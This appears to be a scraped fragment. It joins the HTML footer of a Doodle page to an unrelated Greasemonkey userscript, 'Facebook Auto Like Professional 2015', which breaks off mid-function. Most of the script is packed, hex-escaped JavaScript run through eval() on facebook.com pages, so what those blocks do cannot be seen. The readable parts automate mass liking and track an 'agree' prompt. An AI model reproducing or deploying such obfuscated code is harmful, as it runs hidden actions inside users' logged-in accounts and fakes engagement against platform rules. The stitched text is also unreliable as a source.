data-language="fr">français </a> <a data-language="en_GB">English (GB) </a> <a data-language="no">norsk </a> <a data-language="tr">Türkçe </a> <a data-language="eu">Basque </a> <a data-language="es">español </a> <a data-language="pl">polski </a> <a data-language="bg">български </a> <a data-language="ca">català </a> <a data-language="it">italiano </a> <a data-language="pt">português </a> <a data-language="ru">русский </a> <a data-language="cs">čeština </a> <a data-language="lt">Lietuvių </a> <a data-language="pt_BR">Português (BR) </a> <a data-language="uk">українська </a> </div> <hr /> <div class="smallText spaceDBefore"> <a href="http://support.doodle.com/customer/portal/articles/891017" target="_blank"> Cannot find your language? Incomplete or wrong translation? <strong> Help us translate Doodle </strong> </a> </div> </div> <div id="languageSwitch"> Choose language: <div class="language-anchor">English ▾</div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> <script type="text/javascript"> //<![CDATA[ window.setTimeout(function () { // Dragon Dictate defines a global object named nuanria if (typeof(nuanria) !== "undefined" && document.getElementById("dragonDictateWarning")) { document.getElementById("dragonDictateWarning").style.display = "block"; } }, 1000); // seems that plugins are loaded after page //]]> </script> <script src="/dist/normal/ghostbuster.8c9c3bee4a0f89ccd70e.js"></script> <script type="text/javascript"> var ray = new Ghostbuster(); ray.run(function(isDetected) { if (window.dataLayer) { window.dataLayer.push({ page: { ghostbuster: isDetected.toString() } }); } }); </script> </body> </html>
cyberpunkgx
// ==UserScript== // @name Facebook Auto Like Professional 2015 // @namespace http://zrftech.blogspot.com // @author Zia Ur Rehman(Z.R.F) <ziaurr3hman@hotmail.com> http://ziaurr3hman.comoj.com // @description Auto Like and unlike Facebook Status, Comments, Photos, group posts, page posts, group posts, lists, page feeds, events, timeline photos... // @icon https://fbcdn-profile-a.akamaihd.net/hprofile-ak-prn2/c21.21.259.259/s50x50/1240565_203642189797835_948886341_n.jpg // @updateURL https://raw.githubusercontent.com/ZiaUrR3hman/FacebookAutoLikeProfessional/master/FacebookAutoLikeProfessional.meta.js // @downloadURL https://raw.githubusercontent.com/ZiaUrR3hman/FacebookAutoLikeProfessional/master/FacebookAutoLikeProfessional.user.js // @version 8.0 // @copyright 2014+, ZiaUrR3hman (https://github.com/ZiaUrR3hman/FacebookAutoLikeProfessional) // @grant GM_getValue // @grant GM_setValue // @grant GM_deleteValue // @grant GM_addStyle // @include htt*://www.facebook.com/* // @exclude htt*://www.facebook.com/login.php* // @exclude htt*://apps.facebook.com/* // @exclude htt*://www.facebook.com/checkpoint/* // @exclude htt*://*static*.facebook.com* // @exclude htt*://*channel*.facebook.com* // @exclude htt*://developers.facebook.com/* // @exclude htt*://upload.facebook.com/* // @exclude htt*://www.facebook.com/common/blank.html // @exclude htt*://*connect.facebook.com/* // @exclude htt*://*facebook.com/connect* // @exclude htt*://www.facebook.com/plugins/* // @exclude htt*://www.facebook.com/l.php* // @exclude htt*://www.facebook.com/ai.php* // @exclude htt*://www.facebook.com/extern/* // @exclude htt*://www.facebook.com/pagelet/* // @exclude htt*://api.facebook.com/static/* // @exclude htt*://www.facebook.com/contact_importer/* // @exclude htt*://www.facebook.com/ajax/* // @exclude htt*://www.facebook.com/advertising/* // @exclude htt*://www.facebook.com/ads/* // @exclude htt*://www.facebook.com/sharer/* // @exclude htt*://www.facebook.com/send/* // @exclude htt*://www.facebook.com/mobile/* // @exclude htt*://www.facebook.com/settings/* // @exclude htt*://www.facebook.com/dialog/* // @exclude htt*://www.facebook.com/plugins/* // @exclude htt*://www.facebook.com/bookmarks/* // @exclude htt*://www.facebook.com/messages/* // @exclude htt*://www.facebook.com/friends/* // ==/UserScript== eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1m(R(p,a,c,k,e,r){e=R(c){S(c<a?\'\':e(1n(c/a)))+((c=c%a)>1i?U.1h(c+1d):c.1c(1e))};V(!\'\'.X(/^/,U)){T(c--)r[e(c)]=k[c]||e(c);k=[R(e){S r[e]}];e=R(){S\'\\\\w+\'};c=1};T(c--)V(k[c])p=p.X(1g 1f(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);S p}(\'M B=["\\\\K\\\\H\\\\y\\\\C\\\\8\\\\r\\\\a\\\\D\\\\9\\\\2\\\\L\\\\y\\\\1\\\\A\\\\n\\\\p\\\\9\\\\j\\\\2\\\\9\\\\6\\\\1\\\\4\\\\2\\\\8\\\\c\\\\h\\\\a\\\\9\\\\7\\\\4\\\\2\\\\j\\\\8\\\\h\\\\8\\\\2\\\\c\\\\6\\\\1\\\\u\\\\8\\\\3\\\\a\\\\5\\\\7\\\\5\\\\8\\\\j\\\\4\\\\m\\\\f\\\\G\\\\6\\\\1\\\\e\\\\m\\\\2\\\\n\\\\r\\\\7\\\\v\\\\8\\\\5\\\\h\\\\q\\\\6\\\\1\\\\g\\\\b\\\\g\\\\4\\\\3\\\\7\\\\m\\\\a\\\\u\\\\h\\\\6\\\\1\\\\N\\\\g\\\\4\\\\3\\\\7\\\\e\\\\f\\\\n\\\\r\\\\k\\\\9\\\\2\\\\p\\\\c\\\\5\\\\i\\\\n\\\\2\\\\m\\\\2\\\\9\\\\6\\\\1\\\\9\\\\k\\\\e\\\\t\\\\o\\\\F\\\\l\\\\1\\\\P\\\\o\\\\l\\\\1\\\\g\\\\b\\\\o\\\\w\\\\7\\\\4\\\\f\\\\5\\\\5\\\\8\\\\c\\\\k\\\\6\\\\1\\\\E\\\\4\\\\3\\\\7\\\\e\\\\2\\\\3\\\\i\\\\j\\\\q\\\\f\\\\5\\\\2\\\\v\\\\6\\\\1\\\\9\\\\k\\\\e\\\\t\\\\s\\\\o\\\\l\\\\1\\\\x\\\\F\\\\l\\\\1\\\\g\\\\d\\\\o\\\\w\\\\1\\\\d\\\\4\\\\3\\\\1\\\\d\\\\4\\\\3\\\\1\\\\d\\\\4\\\\3\\\\1\\\\g\\\\4\\\\3\\\\7\\\\e\\\\2\\\\9\\\\5\\\\a\\\\9\\\\i\\\\9\\\\f\\\\5\\\\8\\\\p\\\\j\\\\6\\\\1\\\\o\\\\4\\\\3\\\\7\\\\I\\\\i\\\\8\\\\c\\\\5\\\\a\\\\3\\\\6\\\\1\\\\b\\\\d\\\\d\\\\7\\\\h\\\\a\\\\3\\\\h\\\\i\\\\5\\\\a\\\\n\\\\2\\\\9\\\\f\\\\h\\\\8\\\\2\\\\c\\\\6\\\\1\\\\c\\\\2\\\\c\\\\a\\\\7\\\\J\\\\1\\\\K\\\\H\\\\y\\\\C\\\\8\\\\r\\\\a\\\\D\\\\9\\\\2\\\\O\\\\a\\\\c\\\\p\\\\1\\\\A\\\\4\\\\2\\\\j\\\\8\\\\h\\\\8\\\\2\\\\c\\\\6\\\\1\\\\u\\\\8\\\\3\\\\a\\\\5\\\\7\\\\5\\\\8\\\\j\\\\4\\\\m\\\\f\\\\G\\\\6\\\\1\\\\e\\\\m\\\\2\\\\n\\\\r\\\\7\\\\v\\\\8\\\\5\\\\h\\\\q\\\\6\\\\1\\\\g\\\\b\\\\d\\\\4\\\\3\\\\7\\\\q\\\\a\\\\8\\\\k\\\\q\\\\h\\\\6\\\\1\\\\g\\\\z\\\\4\\\\3\\\\7\\\\m\\\\a\\\\u\\\\h\\\\6\\\\1\\\\g\\\\4\\\\3\\\\7\\\\e\\\\2\\\\3\\\\i\\\\j\\\\q\\\\f\\\\5\\\\2\\\\v\\\\6\\\\1\\\\9\\\\k\\\\e\\\\t\\\\z\\\\z\\\\l\\\\1\\\\g\\\\x\\\\x\\\\l\\\\1\\\\s\\\\b\\\\b\\\\w\\\\1\\\\d\\\\4\\\\3\\\\1\\\\d\\\\4\\\\3\\\\1\\\\d\\\\4\\\\3\\\\1\\\\g\\\\4\\\\3\\\\7\\\\e\\\\2\\\\9\\\\5\\\\a\\\\9\\\\i\\\\9\\\\f\\\\5\\\\8\\\\p\\\\j\\\\6\\\\1\\\\o\\\\4\\\\3\\\\7\\\\4\\\\f\\\\5\\\\5\\\\8\\\\c\\\\k\\\\6\\\\1\\\\E\\\\4\\\\3\\\\7\\\\I\\\\i\\\\8\\\\c\\\\5\\\\a\\\\3\\\\6\\\\1\\\\b\\\\d\\\\d\\\\7\\\\e\\\\f\\\\n\\\\r\\\\k\\\\9\\\\2\\\\p\\\\c\\\\5\\\\i\\\\n\\\\2\\\\m\\\\2\\\\9\\\\6\\\\1\\\\9\\\\k\\\\e\\\\t\\\\s\\\\b\\\\b\\\\l\\\\1\\\\s\\\\b\\\\b\\\\l\\\\1\\\\s\\\\b\\\\b\\\\w\\\\7\\\\J"];Q(B[0]);\',W,W,\'|1j|1k|1b|1o|1a|12|11|10|Y|Z|1p|13|14|19|18|17|15|16|1l|1x|1O|1M|1L|1I|1Q|1J|1K|1P|1W|1X|1U|1R|1S|1V|1T|1N|1G|1v|1w|1u|1t|1q|1r|1s|1H|1y|1E|1F|1D|1C|1z|1A\'.1B(\'|\'),0,{}))',62,122,'|||||||||||||||||||||||||||||||||||||||||||||||||||||function|return|while|String|if|53|replace|x72|x65|x69|x3B|x3A|x6E|x30|x74|x2D|x31|x61|x62|x64|x78|toString|29|36|RegExp|new|fromCharCode|35|x20|x6F|x73|eval|parseInt|x70|x35|x79|x46|x7A|x37|x33|x4C|x50|x67|x2E|x39|GM_addStyle|split|x4D|x2B|x54|var|_0x25c9|x7D|x36|x68|x6B|x63|x6C|x7B|x2C|x32|x75|x29|x34|x38|x77|x42|x28|x66'.split('|'),0,{})) var body = document.body; var loginbutton = document.getElementById("loginbutton"); if (loginbutton) { eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1u(11(p,a,c,k,e,r){e=11(c){10(c<a?\'\':e(1t(c/a)))+((c=c%a)>1o?15.1n(c+29):c.1p(1q))};12(!\'\'.16(/^/,15)){14(c--)r[e(c)]=k[c]||e(c);k=[11(e){10 r[e]}];e=11(){10\'\\\\w+\'};c=1};14(c--)12(k[c])p=p.16(1s 1r(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);10 p}(\'z n=["\\\\g\\\\6\\\\d\\\\c\\\\7\\\\5\\\\8\\\\b\\\\i\\\\8\\\\5\\\\5","\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\t\\\\q\\\\G\\\\q\\\\t\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\e\\\\3\\\\3\\\\3\\\\3\\\\3\\\\3\\\\3\\\\3\\\\3\\\\3\\\\3\\\\3\\\\3\\\\3\\\\3\\\\3\\\\3\\\\3\\\\3\\\\3\\\\3\\\\3\\\\3\\\\3\\\\3\\\\3\\\\3\\\\Q\\\\c\\\\k\\\\3\\\\B\\\\9\\\\5\\\\8\\\\3\\\\x\\\\a\\\\g\\\\5\\\\c\\\\g\\\\5\\\\3\\\\w\\\\i\\\\8\\\\5\\\\5\\\\l\\\\5\\\\c\\\\7\\\\e\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\t\\\\q\\\\G\\\\q\\\\t\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\e\\\\e\\\\A\\\\6\\\\d\\\\3\\\\l\\\\d\\\\9\\\\7\\\\3\\\\8\\\\5\\\\b\\\\k\\\\3\\\\7\\\\h\\\\5\\\\9\\\\5\\\\3\\\\v\\\\b\\\\g\\\\5\\\\y\\\\6\\\\6\\\\F\\\\3\\\\w\\\\d\\\\7\\\\6\\\\3\\\\x\\\\a\\\\F\\\\5\\\\8\\\\3\\\\N\\\\g\\\\8\\\\a\\\\o\\\\7\\\\3\\\\u\\\\5\\\\8\\\\l\\\\9\\\\3\\\\6\\\\j\\\\e\\\\B\\\\9\\\\5\\\\3\\\\g\\\\b\\\\8\\\\5\\\\j\\\\d\\\\f\\\\f\\\\m\\\\p\\\\3\\\\u\\\\h\\\\5\\\\9\\\\5\\\\3\\\\7\\\\5\\\\8\\\\l\\\\9\\\\3\\\\b\\\\8\\\\5\\\\3\\\\y\\\\5\\\\7\\\\s\\\\5\\\\5\\\\c\\\\3\\\\V\\\\p\\\\J\\\\p\\\\v\\\\3\\\\u\\\\5\\\\g\\\\h\\\\c\\\\6\\\\f\\\\6\\\\i\\\\a\\\\5\\\\9\\\\e\\\\b\\\\c\\\\k\\\\3\\\\m\\\\6\\\\d\\\\C\\\\3\\\\b\\\\c\\\\k\\\\3\\\\y\\\\m\\\\3\\\\b\\\\g\\\\g\\\\5\\\\o\\\\7\\\\a\\\\c\\\\i\\\\3\\\\m\\\\6\\\\d\\\\3\\\\s\\\\a\\\\f\\\\f\\\\3\\\\d\\\\9\\\\5\\\\3\\\\b\\\\f\\\\f\\\\3\\\\j\\\\5\\\\b\\\\7\\\\d\\\\8\\\\5\\\\9\\\\3\\\\6\\\\j\\\\3\\\\7\\\\h\\\\a\\\\9\\\\e\\\\9\\\\g\\\\8\\\\a\\\\o\\\\7\\\\p\\\\3\\\\S\\\\m\\\\3\\\\d\\\\9\\\\a\\\\c\\\\i\\\\3\\\\7\\\\h\\\\a\\\\9\\\\3\\\\9\\\\g\\\\8\\\\a\\\\o\\\\7\\\\3\\\\m\\\\6\\\\d\\\\3\\\\b\\\\8\\\\5\\\\3\\\\b\\\\i\\\\8\\\\5\\\\5\\\\3\\\\7\\\\6\\\\U\\\\e\\\\D\\\\E\\\\v\\\\6\\\\f\\\\f\\\\6\\\\s\\\\3\\\\b\\\\d\\\\7\\\\h\\\\6\\\\8\\\\3\\\\x\\\\a\\\\9\\\\7\\\\e\\\\D\\\\E\\\\v\\\\6\\\\f\\\\f\\\\6\\\\s\\\\3\\\\b\\\\d\\\\7\\\\h\\\\6\\\\8\\\\3\\\\K\\\\8\\\\6\\\\j\\\\a\\\\f\\\\5\\\\e\\\\e\\\\L\\\\j\\\\3\\\\m\\\\6\\\\d\\\\3\\\\k\\\\6\\\\c\\\\M\\\\7\\\\3\\\\b\\\\i\\\\8\\\\5\\\\5\\\\3\\\\7\\\\6\\\\3\\\\b\\\\f\\\\f\\\\3\\\\6\\\\j\\\\3\\\\7\\\\h\\\\5\\\\9\\\\5\\\\3\\\\7\\\\5\\\\8\\\\l\\\\9\\\\C\\\\3\\\\k\\\\6\\\\3\\\\c\\\\6\\\\7\\\\3\\\\d\\\\9\\\\5\\\\3\\\\7\\\\h\\\\a\\\\9\\\\3\\\\9\\\\g\\\\8\\\\a\\\\o\\\\7\\\\p\\\\e\\\\e\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\e\\\\3\\\\3\\\\3\\\\3\\\\3\\\\3\\\\3\\\\3\\\\3\\\\3\\\\3\\\\3\\\\3\\\\3\\\\3\\\\3\\\\3\\\\I\\\\6\\\\3\\\\A\\\\6\\\\d\\\\3\\\\w\\\\i\\\\8\\\\5\\\\5\\\\3\\\\O\\\\a\\\\7\\\\h\\\\3\\\\u\\\\5\\\\8\\\\l\\\\9\\\\3\\\\b\\\\c\\\\k\\\\3\\\\P\\\\6\\\\c\\\\k\\\\a\\\\7\\\\a\\\\6\\\\c\\\\e\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\4\\\\e","\\\\g\\\\6\\\\c\\\\j\\\\a\\\\8\\\\l"];z r=R(n[0],0);T(n[0],++r);H(r===1){z W=X[n[2]](n[1])};H(r>Y){Z(n[0])};\',13,13,\'|||1z|1y|1x|1m|1w|1A|1i|1b|1c|1a|19|1B|17|18|1l|1j|1k|1d|1h|1e|1f|1g|1v|1L|21|22|1Z|1Y|24|1V|1W|1X|23|2c|2b|28|2a|25|26|27|12|20|1T|1H|1I|1J|1G|1F|1C|1D|1E|1K|1U|1R|1S|1Q|1P|1M|1N\'.1O(\'|\'),0,{}))',62,137,'||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||return|function|if|62|while|String|replace|x6C|x63|x75|x6E|x69|x61|x64|x79|_0xfa6c|x70|x6D|x73|x67|x66|x68|x6F|fromCharCode|35|toString|36|RegExp|new|parseInt|eval|x2E|x74|x65|u25AC|x20|x72|x0A|x43|x45|GM_getValue|x57|x53|x50|x49|x27|x42|u06E9|100|GM_deleteValue|split|window|agree|x3A|x5A|x52|GM_setValue|x41|x4C|x62|x54|u0B9C|x44|counteragree|x77|var|x46|u2022|x6B|u06DE|x2C||x09|x55|x59'.split('|'),0,{})) } function removeElements(elements) { "use strict"; var i; for (i = 0; i < elements.length; i++) { elements[i].parentNode.removeChild(elements[i]); } } function ExitScript() { "use strict"; removeElements(document.querySelectorAll('#FBLikeProtitlemain')); removeElements(document.querySelectorAll('#FBLikeProtitle3')); removeElements(document.querySelectorAll('#stopall')); removeElements(document.querySelectorAll('#messageown')); removeElements(document.querySelectorAll('#increselikes')); removeElements(document.querySelectorAll('#update')); removeElements(document.querySelectorAll('#selectoption')); removeElements(document.querySelectorAll('#likepostsid')); removeElements(document.querySelectorAll('#likecomments')); removeElements(document.querySelectorAll('#unlikeposts')); removeElements(document.querySelectorAll('#unlikecomments')); removeElements(document.querySelectorAll('#FBLikeProtitlehide')); } exportFunction(ExitScript, unsafeWindow, { defineAs: "ExitScript"}); function LikePosts() { eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('3w(2h(p,a,c,k,e,r){e=2h(c){2i(c<a?\'\':e(3u(c/a)))+((c=c%a)>35?2k.34(c+29):c.2U(36))};2j(!\'\'.2m(/^/,2k)){2l(c--)r[e(c)]=k[c]||e(c);k=[2h(e){2i r[e]}];e=2h(){2i\'\\\\w+\'};c=1};2l(c--)2j(k[c])p=p.2m(2T 2S(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);2i p}(\'P d=["\\\\v\\\\n\\\\j\\\\l\\\\n\\\\h\\\\q\\\\i\\\\s\\\\h","\\\\m","\\\\z\\\\j\\\\h\\\\1k\\\\o\\\\j\\\\K\\\\j\\\\p\\\\h\\\\n\\\\U\\\\E\\\\R\\\\m\\\\z\\\\2d\\\\m\\\\K\\\\j","\\\\s\\\\o\\\\i\\\\s\\\\w","\\\\V\\\\m\\\\l\\\\n\\\\h\\\\E\\\\o\\\\j\\\\y\\\\r\\\\s\\\\k\\\\o\\\\k\\\\q\\\\C\\\\l\\\\2c\\\\2a\\\\1W\\\\1U\\\\F\\\\l\\\\u\\\\i\\\\n\\\\t\\\\o\\\\m\\\\E\\\\C\\\\l\\\\M\\\\o\\\\k\\\\s\\\\w\\\\F\\\\t\\\\k\\\\n\\\\i\\\\h\\\\i\\\\k\\\\p\\\\C\\\\l\\\\q\\\\j\\\\o\\\\m\\\\h\\\\i\\\\T\\\\j\\\\F\\\\l\\\\s\\\\v\\\\q\\\\n\\\\k\\\\q\\\\C\\\\l\\\\t\\\\k\\\\i\\\\p\\\\h\\\\j\\\\q\\\\F\\\\h\\\\j\\\\1j\\\\h\\\\x\\\\u\\\\j\\\\s\\\\k\\\\q\\\\m\\\\h\\\\i\\\\k\\\\p\\\\C\\\\l\\\\p\\\\k\\\\p\\\\j\\\\F\\\\r\\\\l\\\\u\\\\m\\\\h\\\\m\\\\x\\\\G\\\\k\\\\T\\\\j\\\\q\\\\y\\\\r\\\\h\\\\k\\\\k\\\\o\\\\h\\\\i\\\\t\\\\r\\\\l\\\\u\\\\m\\\\h\\\\m\\\\x\\\\h\\\\k\\\\k\\\\o\\\\h\\\\i\\\\t\\\\x\\\\t\\\\k\\\\n\\\\i\\\\h\\\\i\\\\k\\\\p\\\\y\\\\r\\\\q\\\\i\\\\z\\\\G\\\\h\\\\r\\\\l\\\\m\\\\q\\\\i\\\\m\\\\x\\\\o\\\\m\\\\M\\\\j\\\\o\\\\y\\\\r\\\\L\\\\i\\\\w\\\\i\\\\p\\\\z\\\\l\\\\O\\\\k\\\\n\\\\h\\\\n\\\\r\\\\l\\\\q\\\\j\\\\o\\\\y\\\\N\\\\m\\\\n\\\\E\\\\p\\\\s\\\\x\\\\t\\\\k\\\\n\\\\h\\\\N\\\\l\\\\q\\\\k\\\\o\\\\j\\\\y\\\\N\\\\M\\\\v\\\\h\\\\h\\\\k\\\\p\\\\N\\\\X\\\\L\\\\i\\\\w\\\\i\\\\p\\\\z\\\\l\\\\O\\\\k\\\\n\\\\h\\\\n\\\\C","\\\\1a","\\\\o\\\\j\\\\p\\\\z\\\\h\\\\G","\\\\V\\\\1a\\\\m\\\\X","\\\\i\\\\p\\\\p\\\\j\\\\q\\\\1S\\\\R\\\\1b\\\\L","\\\\o\\\\i\\\\w\\\\j\\\\t\\\\k\\\\n\\\\h\\\\n\\\\i\\\\u","\\\\z\\\\j\\\\h\\\\1k\\\\o\\\\j\\\\K\\\\j\\\\p\\\\h\\\\U\\\\E\\\\1R\\\\u","\\\\n\\\\j\\\\h\\\\R\\\\i\\\\K\\\\j\\\\k\\\\v\\\\h","\\\\V\\\\m\\\\l\\\\n\\\\h\\\\E\\\\o\\\\j\\\\y\\\\r\\\\u\\\\i\\\\n\\\\t\\\\o\\\\m\\\\E\\\\C\\\\l\\\\M\\\\o\\\\k\\\\s\\\\w\\\\F\\\\l\\\\t\\\\k\\\\n\\\\i\\\\h\\\\i\\\\k\\\\p\\\\C\\\\l\\\\q\\\\j\\\\o\\\\m\\\\h\\\\i\\\\T\\\\j\\\\F\\\\l\\\\s\\\\v\\\\q\\\\n\\\\k\\\\q\\\\C\\\\l\\\\t\\\\k\\\\i\\\\p\\\\h\\\\j\\\\q\\\\F\\\\h\\\\j\\\\1j\\\\h\\\\x\\\\u\\\\j\\\\s\\\\k\\\\q\\\\m\\\\h\\\\i\\\\k\\\\p\\\\C\\\\l\\\\p\\\\k\\\\p\\\\j\\\\F\\\\r\\\\l\\\\u\\\\m\\\\h\\\\m\\\\x\\\\G\\\\k\\\\T\\\\j\\\\q\\\\y\\\\r\\\\h\\\\k\\\\k\\\\o\\\\h\\\\i\\\\t\\\\r\\\\l\\\\u\\\\m\\\\h\\\\m\\\\x\\\\h\\\\k\\\\k\\\\o\\\\h\\\\i\\\\t\\\\x\\\\t\\\\k\\\\n\\\\i\\\\h\\\\i\\\\k\\\\p\\\\y\\\\r\\\\q\\\\i\\\\z\\\\G\\\\h\\\\r\\\\l\\\\m\\\\q\\\\i\\\\m\\\\x\\\\o\\\\m\\\\M\\\\j\\\\o\\\\y\\\\r\\\\L\\\\i\\\\w\\\\j\\\\l\\\\S\\\\o\\\\o\\\\l\\\\O\\\\k\\\\n\\\\h\\\\n\\\\l\\\\o\\\\k\\\\m\\\\u\\\\j\\\\u\\\\l\\\\1p\\\\p\\\\l\\\\O\\\\m\\\\z\\\\j\\\\r\\\\l\\\\k\\\\p\\\\s\\\\o\\\\i\\\\s\\\\w\\\\y\\\\N\\\\L\\\\i\\\\w\\\\j\\\\O\\\\k\\\\n\\\\h\\\\n\\\\1P\\\\1O\\\\N\\\\X\\\\L\\\\i\\\\w\\\\j\\\\l\\\\S\\\\o\\\\o\\\\l\\\\O\\\\k\\\\n\\\\h\\\\n\\\\V\\\\1a\\\\m\\\\X","\\\\n\\\\s\\\\q\\\\k\\\\o\\\\o\\\\U\\\\E","\\\\u\\\\m\\\\h\\\\m\\\\x\\\\1l\\\\h","\\\\z\\\\j\\\\h\\\\S\\\\h\\\\h\\\\q\\\\i\\\\M\\\\v\\\\h\\\\j","\\\\h\\\\i\\\\h\\\\o\\\\j","\\\\L\\\\i\\\\w\\\\j\\\\l\\\\h\\\\G\\\\i\\\\n","\\\\Y\\\\k\\\\n\\\\h\\\\m\\\\K\\\\l\\\\u\\\\i\\\\n\\\\h\\\\k","\\\\R\\\\j\\\\l\\\\z\\\\v\\\\n\\\\h\\\\m\\\\l\\\\j\\\\n\\\\h\\\\k","\\\\S\\\\i\\\\K\\\\j\\\\p\\\\h\\\\l\\\\1m\\\\m","\\\\1N\\\\v\\\\q\\\\h\\\\i\\\\q\\\\m\\\\K\\\\l\\\\i\\\\n\\\\n\\\\k","\\\\S\\\\i\\\\K\\\\j\\\\q\\\\l\\\\1m\\\\m","\\\\1b\\\\j\\\\p\\\\E\\\\v\\\\w\\\\m\\\\i\\\\l\\\\i\\\\p\\\\i","\\\\U\\\\v\\\\p\\\\v\\\\l\\\\M\\\\j\\\\1M\\\\j\\\\p","\\\\Y\\\\j\\\\1l\\\\1L\\\\o\\\\o\\\\h\\\\l\\\\u\\\\m\\\\n","\\\\r\\\\1b\\\\i\\\\l\\\\t\\\\i\\\\m\\\\s\\\\j\\\\r","\\\\1K\\\\1d\\\\1J\\\\l\\\\1I\\\\1H\\\\1d\\\\1g\\\\1h\\\\1G\\\\l\\\\1h\\\\1F\\\\1E\\\\1g","\\\\1D\\\\1C\\\\1B\\\\1A\\\\1i","\\\\1z\\\\1n\\\\1i\\\\1y","\\\\1x\\\\1n\\\\1q","\\\\1o\\\\1o\\\\1Q\\\\1r\\\\1s","\\\\R\\\\G\\\\1t\\\\s\\\\G\\\\l\\\\1u\\\\i\\\\1v\\\\v\\\\l\\\\p\\\\1w\\\\E","\\\\Y\\\\v\\\\n\\\\h\\\\v\\\\G\\\\i\\\\p\\\\l\\\\i\\\\h\\\\k"];d[0];P B=0,J=0,I=Z[d[2]](d[1]),H=[],D;Q e(a){H[a][d[3]]();P b=1e(d[4])+(a+1)+d[5]+H[d[6]]+d[7];Z[d[10]](d[9])[d[8]]=b};Q g(e){1c[d[11]](c,e)};Q A(){P a=1T;W(!a){g(1V)}};Q f(e){1c[d[11]](A,e)};Q c(){W(B>=H[d[6]]){P a=1e(d[12]);Z[d[10]](d[9])[d[8]]=a;1c[d[13]](0,1X)};W(B<H[d[6]]){e(B);f(1Y);B++}};1Z(D=0;D<I[d[6]];D++){W(I[D][d[15]](d[14])!==2b&&(I[D][d[15]](d[16])===d[17]||I[D][d[15]](d[16])===d[18]||I[D][d[15]](d[16])===d[19]||I[D][d[15]](d[16])===d[20]||I[D][d[15]](d[16])===d[21]||I[D][d[15]](d[16])===d[22]||I[D][d[15]](d[16])===d[23]||I[D][d[15]](d[16])===d[24]||I[D][d[15]](d[16])===d[25]||I[D][d[15]](d[16])===d[26]||I[D][d[15]](d[16])===d[27]||I[D][d[15]](d[16])===d[28]||I[D][d[15]](d[16])===d[29]||I[D][d[15]](d[16])===d[1f]||I[D][d[15]](d[16])===d[2e]||I[D][d[15]](d[16])===d[1f]||I[D][d[15]](d[16])===d[2f]||I[D][d[15]](d[16])===d[2g])){H[J]=I[D];J++}};c();\',2V,2R,\'|||||||||||||2Q||||2M|2L|2N|2O|2P|2W|2X|3a|3b|3c|3d|39|3f|38|2Y|2Z|2K|37|3e|||2G||2t|2s|2u||||2r|2w|2x|2q|2n|2p|2h|2o|2v|2J|2F|2y|2j|2H|2I|2E|||||||||||2D|2z|2A|2B|2C|30|3y|3P|3Q|3R|3S|3N|3M|3U|3I|3H|3J|3K|3L|3T|3X|43|42|45|44|46|40|3W|3V|41|3Y|3Z|3O|3F|3o|3n|3p|3q|3r|3m|3l|3h|3g|3i|3j|3k|3s|3t|3G|3B|3C|3D|||||||||||3E|3A|3z|3v|31|32|33\'.3x(\'|\'),0,{}))',62,255,'|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||function|return|if|String|while|replace|x50|x54|var|x27|x6D|x3B|x79|x68|x41|x4C|x62|x3C|x4D|window|u062C|unescape|x2F|document|x42|x3A|x3E|x47|x76|x2D|x69|x74|x65|x6F|x20|_0x4ef3|141|RegExp|new|toString|62|x61|x73|x75|x6B|||||fromCharCode|||x3D|x64|x63|x6C|x6E|x72|x22|x67|x70|u3084|x28|x49|x48|false|x29|x43|u0644|u0625|u0633|xE4|u011F|x38|2160|parseInt|x4E|eval|split|u0627|x23|null|5000|700|for|x34|u0639|x30|x4F|u3048|u9879|u3093|uFF01|xE7|x66|u0643|u0628|u8B9A|x78|x45|xED|u6B64|u5F97|u9019|u0111|u0630|u0647|u5F88|u89BA|xE0|u1EC1|u597D|u8D5E|u5C0D'.split('|'),0,{})) } exportFunction(LikePosts, unsafeWindow, {defineAs: "LikePosts"}); function LikeComments() { eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return 